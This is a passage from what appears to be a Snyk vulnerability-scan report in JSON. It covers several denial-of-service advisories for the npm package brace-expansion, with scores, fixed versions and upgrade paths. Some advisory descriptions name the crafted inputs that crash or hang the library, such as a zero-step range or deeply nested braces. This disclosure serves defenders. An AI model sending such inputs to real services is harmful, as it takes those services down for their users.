"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
